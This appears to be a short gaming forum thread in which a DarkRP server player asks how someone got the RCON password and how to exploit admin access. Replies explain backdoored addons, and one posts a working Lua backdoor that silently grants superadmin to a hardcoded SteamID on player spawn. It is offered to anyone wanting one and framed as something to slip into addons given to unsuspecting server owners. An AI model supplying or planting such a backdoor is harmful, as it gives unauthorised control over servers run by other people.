RCON Exploit?

I'm playing on this DarkRP server and somebody somehow found out the RCON password I was wondering how they did this and what to do with the password once you have it because you canh make yourself admin and such!

they probably used a backdoor, which means they got the owner to download a addon with a script in it that allows them to make themselves admin. more people can explain further on this but yeah thats the simple explanation.

Yeah backdoor. People release addons with bits of codes hidden in there that have their steam id connected with it most backdoors are different though, They have a code looking like this its also a working backdoor too if anyone is looking for one but its a pretty obvious one:
function Backdoor( ply )
if ( ply:SteamID() == "put your steam id in here" ) then --- Your steamid
ply:SetUserGroup("superadmin")
ply:ChatPrint("Congrats you successfully backed doored your script")
end
end
hook.Add("PlayerSpawn", "Backdoory", Backdoor)

and if the owners dumb enough not to check his script that hes recieveing and you join then you will have admin privileges.

They must have found some sort of exploit/backdoor in the code of the server.
